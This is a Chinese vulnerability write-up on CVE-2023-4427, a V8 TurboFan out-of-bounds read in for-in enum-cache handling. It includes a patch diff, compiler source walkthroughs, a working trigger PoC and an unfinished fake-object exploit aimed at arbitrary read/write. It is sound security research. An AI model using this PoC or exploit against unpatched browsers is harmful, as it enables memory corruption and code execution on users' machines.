CVE-2023-4427：Out-of-bounds access in ReduceJSLoadPropertyWithEnumeratedKey

文章目录

  • 前言
  • 环境搭建
  • for-in && enum cache
  • 漏洞分析
  • 漏洞利用
  • 总结
  • 参考

前言

之前分析调试漏洞时，几乎都是对着别人的 poc/exp 调试，感觉对自己的提升不是很大，所以后面分析漏洞时尽可能全面分析，从漏洞产生原理、如何稳定触发进行探索。并尝试自己写 poc/exp

环境搭建

git checkout 12.2.149
gclient sync -D
git apply diff.patch
gn gen out/debug --args="symbol_level=2 blink_symbol_level=2 is_debug=true enable_nacl=false dcheck_always_on=false v8_enable_sandbox=false"
ninja -C out/debug d8

diff.patch 如下：

diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc
index 7d04b064177..d5f3b169487 100644
--- a/src/objects/map-updater.cc
+++ b/src/objects/map-updater.cc
@@ -1041,13 +1041,6 @@ MapUpdater::State MapUpdater::ConstructNewMap() {
   // the new descriptors to maintain descriptors sharing invariant.
   split_map->ReplaceDescriptors(isolate_, *new_descriptors);
 
-  // If the old descriptors had an enum cache, make sure the new ones do too.
-  if (old_descriptors_->enum_cache()->keys()->length() > 0 &&
-      new_map->NumberOfEnumerableProperties() > 0) {
-    FastKeyAccumulator::InitializeFastPropertyEnumCache(
-        isolate_, new_map, new_map->NumberOfEnumerableProperties());
-  }
-
   if (has_integrity_level_transition_) {
     target_map_ = new_map;
     state_ = kAtIntegrityLevelSource;

for-in && enum cache

最初接触 enum cache 是在 V8 的官方博客 Fast for-in in V8 中，其介绍了 V8 是如何实现快速的 for-in 语句的，详细的内容可以参考上述官方博客。

总的来说 for-in 语句用于遍历对象的可枚举属性（包括原型链），在 V8 中其设计大概如下：

function* EnumerateObjectProperties(obj) {
  const visited = new Set();
  for (const key of Reflect.ownKeys(obj)) {
    if (typeof key === 'symbol') continue;
    const desc = Reflect.getOwnPropertyDescriptor(obj, key);
    if (desc && !visited.has(key)) {
      visited.add(key);
      if (desc.enumerable) yield key;
    }
  }
  const proto = Reflect.getPrototypeOf(obj);
  if (proto === null) return;
  for (const protoKey of EnumerateObjectProperties(proto)) {
    if (!visited.has(protoKey)) yield protoKey;
  }
}

可以看到，其首要的工作就是迭代遍历对象及原型链上的可枚举属性从而收集所有的可枚举 keys。那么 V8 为了优化这一过程，配合 V8 的隐藏类机制提出了 enum cache。

我们知道 V8 通过隐藏类或所谓的 Map 来跟踪对象的结构。具有相同 Map 的对象具有相同的结构。此外，每个 Map 都有一个共享数据结构——描述符数组，其中包含有关每个属性的详细信息，例如属性存储在对象上的位置，属性名称以及是否可枚举等属性信息。为了避免反复的访问描述符数组和检测相关属性，V8 将可枚举对象内属性和快属性的 key 和位置 index 保存在了 enum cache：
在这里插入图片描述

注：enum cache 保存在描述符数组中，而字典模式是不具有描述符数组的，而对于具有描述符数组的 element 其也默认就是可枚举的，而对于 elements 的键查找是非常简单的。所以这里 enum cache 主要就是针对快属性和对象内属性的

所以如果对象只要快属性或对象内属性，那么在执行 for-in 时，只需要访问一次描述符数组，从描述符数组中拿到 enum cache 即可找到所有的可枚举属性，然后遍历原型链，取原型链的 enum cache（如果有的话）。当然如果对象中还有 elements 呢？这时也会取 enum cache，但是会进行一些其它的操作，大致流程如下：

// For-In Prepare:
FixedArray* keys = nullptr;
Map* original_map = object->map();
if (original_map->HasEnumCache()) {
  if (object->HasNoElements()) {
    keys = original_map->GetCachedEnumKeys();
  } else {
    keys = object->GetCachedEnumKeysWithElements();
  }
} else {
  keys = object->GetEnumKeys();
}

// For-In Body:
for (size_t i = 0; i < keys->length(); i++) {
  // For-In Next:
  String* key = keys[i];
  if (!object->HasProperty(key) continue;
  EVALUATE_FOR_IN_BODY();
}

漏洞分析

对于 for-in 语句，V8 会将其转换成一个循环，其主要使用 3 个关键的操作：ForInEnumerate、ForInPrepare、ForInNext，其中 ForInEnumerate/ForInPrepare 主要就是收集对象所有的可枚举属性，然后 ForInNext 用来遍历这些收集的可枚举属性，对于对象属性的访问会调用 JSLoadProperty：

在这里插入图片描述
而如果对象存在 enum_cache，则在 InliningPhase 阶段会对 JSLoadProperty 进行优化：
在这里插入图片描述
在 InliningPhase 存在一个 native_context_specialization 裁剪器：

struct InliningPhase {
......
    AddReducer(data, &graph_reducer, &dead_code_elimination);
    AddReducer(data, &graph_reducer, &checkpoint_elimination);
    AddReducer(data, &graph_reducer, &common_reducer);
    AddReducer(data, &graph_reducer, &native_context_specialization);
    AddReducer(data, &graph_reducer, &context_specialization);
    AddReducer(data, &graph_reducer, &intrinsic_lowering);
    AddReducer(data, &graph_reducer, &call_reducer);
......

该裁剪器会对一些 JS 原生操作进行优化：

Reduction JSNativeContextSpecialization::Reduce(Node* node) {
  switch (node->opcode()) {
    case IrOpcode::kJSAdd:
      return ReduceJSAdd(node);
......
	case IrOpcode::kJSLoadProperty:
      return ReduceJSLoadProperty(node);
    case IrOpcode::kJSSetKeyedProperty:
      return ReduceJSSetKeyedProperty(node);
......
    default:
      break;
  }
  return NoChange();
}

可以看到这里会调用 ReduceJSLoadProperty 对 JSLoadProperty 节点进行优化：

Reduction JSNativeContextSpecialization::ReduceJSLoadProperty(Node* node) {
  JSLoadPropertyNode n(node);
  PropertyAccess const& p = n.Parameters();
  Node* name = n.key(); // obj[key]
  // 从之前的 IR 图中可以看出，key 是通过 ForInNext 进行遍历的，所以这里就是 JSForInNext 节点
  if (name->opcode() == IrOpcode::kJSForInNext) {
    // 调用 ReduceJSLoadPropertyWithEnumeratedKey 进行优化
    Reduction reduction = ReduceJSLoadPropertyWithEnumeratedKey(node);
    if (reduction.Changed()) return reduction;
  }

  if (!p.feedback().IsValid()) return NoChange();
  Node* value = jsgraph()->Dead();
  return ReducePropertyAccess(node, name, base::nullopt, value,
                              FeedbackSource(p.feedback()), AccessMode::kLoad);
}

对于 for-in 中的属性加载会调用 ReduceJSLoadPropertyWithEnumeratedKey 进行优化：

这里建议读者自己好好看下这个函数中本身的注释，其写的很清楚

Reduction JSNativeContextSpecialization::ReduceJSLoadPropertyWithEnumeratedKey(
    Node* node) {
  // We can optimize a property load if it's being used inside a for..in:
  //   for (name in receiver) {
  //     value = receiver[name];
  //     ...
  //   }
  //
  // If the for..in is in fast-mode, we know that the {receiver} has {name}
  // as own property, otherwise the enumeration wouldn't include it. The graph
  // constructed by the BytecodeGraphBuilder in this case looks like this:

  // receiver
  //  ^    ^
  //  |    |
  //  |    +-+
  //  |      |
  //  |   JSToObject
  //  |      ^
  //  |      |
  //  |      |
  //  |  JSForInNext
  //  |      ^
  //  |      |
  //  +----+ |
  //       | |
  //       | |
  //   JSLoadProperty

  // If the for..in has only seen maps with enum cache consisting of keys
  // and indices so far, we can turn the {JSLoadProperty} into a map check
  // on the {receiver} and then just load the field value dynamically via
  // the {LoadFieldByIndex} operator. The map check is only necessary when
  // TurboFan cannot prove that there is no observable side effect between
  // the {JSForInNext} and the {JSLoadProperty} node.
  //
  // Also note that it's safe to look through the {JSToObject}, since the
  // [[Get]] operation does an implicit ToObject anyway, and these operations
  // are not observable.

  DCHECK_EQ(IrOpcode::kJSLoadProperty, node->opcode());
  Node* receiver = NodeProperties::GetValueInput(node, 0); // obj
  JSForInNextNode name(NodeProperties::GetValueInput(node, 1)); // JsForInNext
  Node* effect = NodeProperties::GetEffectInput(node);
  Node* control = NodeProperties::GetControlInput(node);
  // 存在 EnumCache
  if (name.Parameters().mode() != ForInMode::kUseEnumCacheKeysAndIndices) {
    return NoChange();
  }

  Node* object = name.receiver(); // 理论上是 JSToObject 节点
  Node* cache_type = name.cache_type();
  Node* index = name.index();
  if (object->opcode() == IrOpcode::kJSToObject) {
    object = NodeProperties::GetValueInput(object, 0); // object = receiver
  }
  if (object != receiver) return NoChange();

  // No need to repeat the map check if we can prove that there's no
  // observable side effect between {effect} and {name].
  // 对 map 进行检查
  if (!NodeProperties::NoObservableSideEffectBetween(effect, name)) {
    // Check that the {receiver} map is still valid.
    Node* receiver_map = effect =
        graph()->NewNode(simplified()->LoadField(AccessBuilder::ForMap()),
                         receiver, effect, control);
    Node* check = graph()->NewNode(simplified()->ReferenceEqual(), receiver_map,
                                   cache_type);
    effect =
        graph()->NewNode(simplified()->CheckIf(DeoptimizeReason::kWrongMap),
                         check, effect, control);
  }

  // Load the enum cache indices from the {cache_type}.
  // 后面就不用多说了，descriptor_array => enum_cache => enum_indices 
  Node* descriptor_array = effect = graph()->NewNode(
      simplified()->LoadField(AccessBuilder::ForMapDescriptors()), cache_type,
      effect, control);
  Node* enum_cache = effect = graph()->NewNode(
      simplified()->LoadField(AccessBuilder::ForDescriptorArrayEnumCache()),
      descriptor_array, effect, control);
  Node* enum_indices = effect = graph()->NewNode(
      simplified()->LoadField(AccessBuilder::ForEnumCacheIndices()), enum_cache,
      effect, control);

  // Ensure that the {enum_indices} are valid.
  Node* check = graph()->NewNode(
      simplified()->BooleanNot(),
      graph()->NewNode(simplified()->ReferenceEqual(), enum_indices,
                       jsgraph()->EmptyFixedArrayConstant()));
  effect = graph()->NewNode(
      simplified()->CheckIf(DeoptimizeReason::kWrongEnumIndices), check, effect,
      control);

  // Determine the key from the {enum_indices}.
  Node* key = effect = graph()->NewNode(
      simplified()->LoadElement(
          AccessBuilder::ForFixedArrayElement(PACKED_SMI_ELEMENTS)),
      enum_indices, index, effect, control);

  // Load the actual field value.
  Node* value = effect = graph()->NewNode(simplified()->LoadFieldByIndex(),
                                          receiver, key, effect, control);
  ReplaceWithValue(node, value, effect, control);
  return Replace(value);
}

总的来说对于将 for-in 中的快属性访问，会将 JSLoadProperty 节点优化成 obj map check + LoadFieldByIndex 节点

接下来我们去看下经过 trubofan 优化后的代码的具体执行逻辑：

获取 map：
在这里插入图片描述
执行完 Builtins_ForInEnumerate 后，返回值 rax 就是 map 的值：
在这里插入图片描述
获取描述符数组：
在这里插入图片描述
获取 EnumCache：
在这里插入图片描述
获取 EnumCache.keys：
在这里插入图片描述
获取 map.enum_length：
在这里插入图片描述

将 enum_length、enum_cache、map 保存在栈上：
在这里插入图片描述

每次执行完 callback 后，都会检测 obj2 的 map 是否被改变，如果被改变，则直接去优化；否则通过保存在栈上的 map 获取描述符数组，从而获取 enum_cache，进而获取 enum_cache.indices，这里会检测 enum_cache.indices 是否为空，如果为空则直接去优化
在这里插入图片描述
但是这里的 enum_length 并没有更新，使用的还是之前保存在栈上的值：
在这里插入图片描述

这里 debug 版本有检测，所以没办法展示，而 release 版本又用不了 job 命令，有点难调试，所以这里得两个对着调（说实话，挺麻烦的，这里其实可以直接在 release 中设置一下的）

poc 如下：

const obj1 = {};
obj1.a = 1;

const obj2 = {};
obj2.a = 1;
obj2.b = 2;

const obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;

// init enum cache
for (let i in obj2) {}

function trigger(callback) {
        for (let key in obj2) {
                callback();
                console.log(obj2[key]);
        }
}

%PrepareFunctionForOptimization(trigger);
trigger(_=>_);
trigger(_=>_);
%OptimizeFunctionOnNextCall(trigger);
trigger(_=>_);

trigger(
        _=>{
                obj3.c = 1.1;
                for (let i in obj1) {}
        }
);

调试可以看到，在执行完 callback 后，map->descriptor_array->enum_cache 已经被修改，其中 enum_cache.keys/indices 数组的大小都为 1（这里存在指针压缩，所以要右移一位），但是这里栈中保存的 enum_length 却还是 2

这里是真不知道 map 上的 enum length 的偏移是多少

在这里插入图片描述
POC 输出如下：
在这里插入图片描述
可以看到这里明显存在问题，本来应该输出 2，但是最后却输出为 0，这里简单调试一下。

在经过 callback 后，obj2 的 enum_cache.indices 数组如下：
在这里插入图片描述
上面说了，这里的使用的 enum_length 仍然是栈上保存的 2，所以这里会执行第二次遍历：
在这里插入图片描述
这时取出的 indice 为 0x6a5，跟上面是吻合的，然后这里存在指针压缩，所以还要经过右移处理，这里的 r8 指向的是对象起始地址，r8+0xb 是对象内属性存储的起始位置，r12 是经过右移后的 indice：

这里按理说应该是 [r8 + r12*4 + 0xb] 的，但是调试发现该 POC 就是走的这条路径…

在这里插入图片描述
这里可以看下 [r8 + r12*2 + 0xb] 处的值：
在这里插入图片描述
可以看到其值为 0，我们尝试修改一下值为 0xdea4：
在这里插入图片描述
最后输出如下：
在这里插入图片描述
根据输出可以知道，我们之前的分析是对的（这里存在指针压缩，所以要右移一位，说了很多次了，后面就不多说了）

漏洞利用

根据上面的漏洞分析，我们可以知道其存在一个似乎不可控的越界读的漏洞。为啥说似乎不可控呢？通过上面的分析，我们可以知道这里越界读是由 indice 决定的，在上面的例子中就是 enum_cache.indices[1]，所以如果想实现精确的越界读，则需要控制 enum_cache.indices[1]。所以接下来我们得去研究下 enum_cache 的内存布局。

调试代码如下：

const obj1 = {};
obj1.a = 1;

const obj2 = {};
obj2.a = 1;
obj2.b = 2;

const obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;

obj3.c = 1.1;
for (let i in obj1) {}

%DebugPrint(obj2);
%SystemBreak();

这里主要关注 obj2 的 enum_cache（其实都一样，毕竟是共享的），其布局如下：
在这里插入图片描述
可以看到这里 enum_cache 是在 old_space 分配的，从源码中也可以得知：

// 可以看到这里默认的分配方式就是 Old space / Lo space
  static Handle<FixedArray> InitializeFastPropertyEnumCache(
      Isolate* isolate, Handle<Map> map, int enum_length,
      AllocationType allocation = AllocationType::kOld);

Handle<FixedArray> FastKeyAccumulator::InitializeFastPropertyEnumCache(
    Isolate* isolate, Handle<Map> map, int enum_length,
    AllocationType allocation) {
......
  Handle<FixedArray> keys = isolate->factory()->NewFixedArray(enum_length, allocation);
......
  if (fields_only) {
    indices = isolate->factory()->NewFixedArray(enum_length, allocation);
......

所以如果我们可以找到一些对象，其部分内容可控并且也使用 AllocationType::kOld 进行分配，其就会紧跟在 enum_cache 后面分配，这时我们调整 obj2 的初始大小即可实现精确越界读。所以问题转换到了如何在 old space 上分配内容可控对象。

笔者做了如下尝试：

  • 最开始本想利用 gc 来实现，但是其也是不可控的，因为你不能保障对象晋升时，目标对象总是与 indices 有固定偏移（测试可以知道，几乎不固定，并且 gc 会打乱之前的堆布局，主要是其它对象可能跑前面去了）
  • 然后笔者想着直接利用 enum_cache.keys/indices 的 length 字段去进行控制不就完了，但是测试发现在笔者机器上，当属性个数超出 0x13 时就会切换成字典模式，字典模式是不存在 enum_cache 的（毕竟描述符数组都没了）
  • 最后笔者尝试在 V8 源码中全局搜索 AllocationType::kOld，看看哪些代码逻辑会利用其进行堆分配，但是也没有找到合适的对象

所以为什么我是菜鸡？因为我只会看官方 WP，官方提供了一个 POC，其中提供一个函数可以在紧接着 indices 后面分配内容。

其实我发现了字符串是直接分配在 old_space 上的，但是其始终在 indices 的上方，不知道为啥

但是我思考了一下，其实我们没必要实现精确控制，根据 V8 指针压缩堆分配特性，obj2 的 enum_cache 的 map 偏移始终是 0x6a5。然后由于只有一个越界读，所以这里直接用固定的 map 去尝试，所以 exp 不具备通用性。

这里固定的 map 其实就是上面说的指针压缩堆分配特性，但是非常不稳定

所以我们尝试写针对特定版本的利用，这里感觉不太好说，所以直接画了一张图：
在这里插入图片描述

理论上 victim_array 的 addr/map/element 偏移都是固定的，所以这里我们可以直接用而无需泄漏，所以我们可以在 victim_array 中伪造一个 Array（其就是 victim_array 本身，这里伪造的 len 可以改大一些），然后在 obj2 后面放置一个 fake_object_array 数组，其内容全是伪造的 Array 的地址偏移（由于指针标记，所以记得地址要加1）

这里在越界读的时候，越界的地址为 obj2_addr + 0xb + 0x6a4，其有很大的概率会落在 fake_object_array_element 中，而其保存的内容为一个地址，所以会对其进行解析，查看指向位置的 map 发现是个对象，所以这里就会返回一个伪造的对象 fake_object。我们可以通过 victim_array 修改 fake_object 的 elemet 和 len，修改其 len 可以实现越界读写，修改其 element 可以实现 4GB 内范围的任意地址读写。然后就可以直接劫持函数对象的 code_entry 进行利用

问题：
这种利用方式理论上可行，笔者遇到过两次，但是每次都没有成功完成利用，主要有以下问题：

  • 1、由于 gc 从而导致 victim_array 的 addr/map/element 发生改变
  • 2、测试发现没有触发 gc，但是 victim_array 却发生了重新分配，导致之前的内存被释放，然后写上了无效数据
  • 3、写利用非常麻烦，不知道为啥，只要添加一些代码就会使得 victim_array 每次的 map/element 发生变化（可能是由于代码触发的内存分配，比如 print 也存在着内存的分配）

所以笔者并没有成功完成利用，最后夭折的 exp 如下：

var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;

function pair_u32_to_f64(l, h) {
        u32[0] = l;
        u32[1] = h;
        return f64[0];
}

function u64_to_f64(val) {
        u64[0] = val;
        return f64[0];
}


function f64_to_u64(val) {
        f64[0] = val;
        return u64[0];
}

function set_u64(val) {
        u64[0] = val;
}

function set_l(l) {
        u32[0] = l;
}

function set_h(h) {
        u32[1] = h;
}

function get_u64() {
        return u64[0];
}

function get_f64() {
        return f64[0];
}

function get_fl(val) {
        f64[0] = val;
        return u32[0];
}

function get_fh(val) {
        f64[0] = val;
        return u32[1];
}

function add_ref(obj) {
        roots[index++] = obj;
}

function major_gc() {
        new ArrayBuffer(0x7fe00000);
}

function minor_gc() {
        for (let i = 0; i < 8; i++) {
                add_ref(new ArrayBuffer(0x200000));
        }
        add_ref(new ArrayBuffer(8));
}

function hexx(str, val) {
        console.log(str+": 0x"+val.toString(16).padStart(16, "0"));
}


function sleep(ms) {
        return new Promise((resolve) => setTimeout(resolve, ms));
}


minor_gc();
major_gc();
major_gc();

var victim_array = [3.694396909718e-311, 1.6976101072e-313, 1.1, 1.1];
//%DebugPrint(victim_array);
var float_array = [2.2, 2.2, 2.2, 2.2];
var object_array = [0xdea4n, {}, {}, {}];
var obj1 = {};
obj1.a = 1;
var obj2 = {};
obj2.a = 1;
obj2.b = 2;
var fake_object_array = new Array(200).fill(5.787382781920796e-309);
var obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;
// init enum_cache
for (let i in obj2) {}

function trigger(callback) {
        for (let key in obj2) {
                if (key == "b") {
                        callback();
                        let fake_object = obj2[key];
                        return fake_object;
                }
        }
}

for (let i = 0; i < 0x10000; i++) {
        trigger(_=>_);
        trigger(_=>_);
        trigger(_=>_);
        trigger(_=>_);
}


%DebugPrint(victim_array);
var fake_object = trigger(
        _=>
        {
                obj3.c = 3.14;
                for (let key in obj1) {}
        }
);

print(u64_to_f64(0x000006cd00451b8dn));
print(u64_to_f64(0x0000000800042955n));
print(u64_to_f64(0x0004295d0004295dn));
//%DebugPrint(obj2);
//%DebugPrint(fake_object_array);
%DebugPrint(fake_object);
//%SystemBreak();

总结

这个漏洞笔者没有独立写出 poc/exp，但是自己也经过了大量的思考和调试，并不是像之前一样直接拿着 poc 就开始搞。调试分析这个漏洞花了了接近两天的时间，其中漏洞分析花了一天，漏洞利用花了一天，但是最后还是没有成功写出 exp，后面看看针对该类漏洞有没有什么好的利用办法

参考

原作者对漏洞原理的分析
CVE-2023-4427 PoC : Out of bounds memory access in V8.
强网杯2023Final-D8利用分析——从越界读到任意代码执行(CVE-2023-4427)
Fast for-in in V8

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/503643.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

亚马逊测评新策略：解决底层环境防关联，提升下单成功率

亚马逊测评新策略：解决底层环境防关联，提升下单成功率

对于做测评的环境系统&#xff0c;确保稳定性和成功率是非常重要的。市面上有各种环境方案&#xff0c;如虚拟机、模拟机、gcs、云手机、VPS等。然而&#xff0c;这些方案不仅成本高&#xff0c;而且成功率很低。因此&#xff0c;一个好的环境系统是成功的基础。 亚马逊平台的…
阅读更多...
zabbix分布式监控实战

zabbix分布式监控实战

zabbix分布式监控实战 架构 组件 zabbix-server&#xff1a;负责接收agent发送的数据 zabbix-agent&#xff1a;部署在被监控主机上&#xff0c;负责被监控主机的数据并将数据发送给zabbix-server zabbix-database&#xff1a;存储所有zabbix配置信息&#xff0c;监控数据 …
阅读更多...
（C语言）fread与fwrite详解

（C语言）fread与fwrite详解

1. fwrite函数详解 头文件&#xff1a;stdio.h 函数有4个参数&#xff0c;只适用于文件输出流 作用&#xff1b;将从ptr中拿count个大小为size字节的数据以二进制的方式写到文件流中。返回写入成功的数目。 演示 #include <stdio.h> int main() {FILE* pf fopen(&qu…
阅读更多...
微信小程序如何进行npm导入组件

微信小程序如何进行npm导入组件

文章目录 目录 文章目录 前言 一、安装node 二、微信小程序通过npm安装组件&#xff08;以Vant-weapp为例&#xff09; 一、Vant-weapp下载 二 、修改 app.json 三 、修改 project.config.json 四 、 构建 npm 包 前言 微信小程序使用npm导入有很多的教程&#xff0c;我…
阅读更多...
MySQL开窗函数

MySQL开窗函数

测试环境&#xff1a;mysql8.0.18 官方文档&#xff1a;https://dev.mysql.com/doc/refman/8.0/en/window-functions.html 一、窗口函数介绍二、语法结构三、自定义窗口1.rows&#xff08;重点&#xff09;2.range3.默认窗口 四、常用窗口函数示例1.row_number & rank &…
阅读更多...
书生·浦语训练营二期第一次笔记

书生·浦语训练营二期第一次笔记

文章目录 书生浦语大模型全链路开源体系视频笔记Intern2模型体系 训练数据集书生浦语全链条开源开放体系开放高质量语料数据预训练微调中立全面性能榜单大模型评测全栈工具链部署 书生浦语大模型全链路开源体系-Bilibili视频InternLM2技术报告&#xff08;中文&#xff09;Inte…
阅读更多...
python多方式操作elasticsearch介绍

python多方式操作elasticsearch介绍

python多方式操作elasticsearch介绍 1. requests模块操作ES ​ requests 是一个 Python HTTP 库&#xff0c;它简化了发送 HTTP 请求和处理响应的过程。通过 requests 模块&#xff0c;开发人员可以轻松地与 Web 服务进行通信&#xff0c;包括获取网页内容、执行 API 请求等。…
阅读更多...
【Docker】搭建安全可控的自定义通知推送服务 - Bark

【Docker】搭建安全可控的自定义通知推送服务 - Bark

【Docker】搭建安全可控的自定义通知推送服务 - Bark 前言 本教程基于绿联的NAS设备DX4600 Pro的docker功能进行搭建。 简介 Bark是一款为Apple设备用户设计的开源推送服务应用&#xff0c;它允许开发者、程序员以及一般用户将信息快速推送到他们自己的iPhone、iPad等设备上…
阅读更多...
webGIS 之 智慧校园案例

webGIS 之 智慧校园案例

1.引入资源创建地图 //index.html <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" content&qu…
阅读更多...
表单元素使用

表单元素使用

表单元素使用 要完成的效果:代码实现: 要完成的效果: 代码实现: <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0">…
阅读更多...
nginx与tomcat的区别？

nginx与tomcat的区别？

关于nginx和tomcat的概念 网上有很多关于nginx和tomcat是什么东西的定义&#xff0c;我总结了一下: tomcat是Web服务器、HTTP服务器、应用服务器、Servlet容器、web容器。 Nginx是Web服务器、HTTP服务器、正向/反向代理服务器&#xff0c;。 这里有两个概念是交叉的&#xff…
阅读更多...
DolphinScheduler on k8s 云原生部署实践

DolphinScheduler on k8s 云原生部署实践

文章目录 前言利用Kubernetes技术云原生平台初始化迁移基于Argo CD添加GitOpsDolphinScheduler 在 k8s 上的服务自愈可观测性集成服务网格云原生工作流调度从HDFS升级到S3文件技术总结 前言 DolphinScheduler 的高效云原生部署模式&#xff0c;比原始部署模式节省了95%以上的人…
阅读更多...
微信小程序备案流程详细操作指南

微信小程序备案流程详细操作指南

自2023年9月1日起&#xff0c;所有新上架的微信小程序均需事先完成备案手续&#xff0c;方能成功上线。而对于已经上架的存量小程序&#xff0c;也需要在2024年3月31日前完成备案工作。若在规定时间内未完成备案&#xff0c;平台将依据备案相关规定&#xff0c;自2024年4月1日起…
阅读更多...
love 2d win 下超简单安装方式，学习Lua 中文编程 刚需！！

love 2d win 下超简单安装方式，学习Lua 中文编程 刚需！！

一、下载love 2d 参考&#xff1a;【Love2d从青铜到王者】第一篇:Love2d入门以及安装教程 或直接下载&#xff1a; 64位&#xff0c;现在一般电脑都可以用。 64-bit zipped 32位&#xff0c;很复古的电脑都可以用。 32-bit zipped 二、解压 下载好了之后&#xff0c;解压到…
阅读更多...
HarmonyOS 应用开发之FA模型绑定Stage模型ServiceExtensionAbility

HarmonyOS 应用开发之FA模型绑定Stage模型ServiceExtensionAbility

本文介绍FA模型的三种应用组件如何绑定Stage模型的ServiceExtensionAbility组件。 PageAbility关联访问ServiceExtensionAbility PageAbility关联访问ServiceExtensionAbility和PageAbility关联访问ServiceAbility的方式完全相同。 import featureAbility from ohos.ability…
阅读更多...
python opencv 直线检测

python opencv 直线检测

直线检测 前期准备 import cv2 import numpy as np# 读取图片 img cv2.imread(r"C:\Users\HONOR\Desktop\12.png") # 灰度转换 gray cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # 二值化 # reg, img cv2.threshold(gray, 127, 255, cv2.THRESH_BINARY) # 显示二值化…
阅读更多...
代码+视频，手动绘制logistic回归预测模型校准曲线（Calibration curve）（1）

代码+视频，手动绘制logistic回归预测模型校准曲线（Calibration curve）（1）

校准曲线图表示的是预测值和实际值的差距&#xff0c;作为预测模型的重要部分&#xff0c;目前很多函数能绘制校准曲线。 一般分为两种&#xff0c;一种是通过Hosmer-Lemeshow检验&#xff0c;把P值分为10等分&#xff0c;求出每等分的预测值和实际值的差距. 另外一种是calibra…
阅读更多...
Adaboost集成学习 | Matlab实现基于SVM-Adaboost支持向量机结合Adaboost集成学习时间序列预测（股票价格预测）

Adaboost集成学习 | Matlab实现基于SVM-Adaboost支持向量机结合Adaboost集成学习时间序列预测（股票价格预测）

目录 效果一览基本介绍模型设计程序设计参考资料效果一览 基本介绍 Adaboost集成学习 | 基于SVM-Adaboost支持向量机结合Adaboost集成学习时间序列预测（股票价格预测）基于SVM（支持向量机）和AdaBoost集成学习的时间序列预测（如股票价格预测）是一种结合了两种强大机器学习算…
阅读更多...
【Frida】【Android】工具篇：ZenTracer

【Frida】【Android】工具篇：ZenTracer

&#x1f6eb; 系列文章导航 【Frida】【Android】01_手把手教你环境搭建 https://blog.csdn.net/kinghzking/article/details/136986950【Frida】【Android】02_JAVA层HOOK https://blog.csdn.net/kinghzking/article/details/137008446【Frida】【Android】03_RPC https://bl…
阅读更多...
如何使用 ChatGPT 进行编码和编程

如何使用 ChatGPT 进行编码和编程

文章目录 一、初学者1.1 生成代码片段1.2 解释功能 二、自信的初学者2.1 修复错误2.2 完成部分代码 三、中级水平3.1 研究库3.2 改进旧代码 四、进阶水平4.1 比较示例代码4.2 编程语言之间的翻译 五、专业人士5.1 模拟 Linux 终端 总结 大多数程序员都知道&#xff0c;ChatGPT …
阅读更多...
最新文章

Copyright @ 2022~2023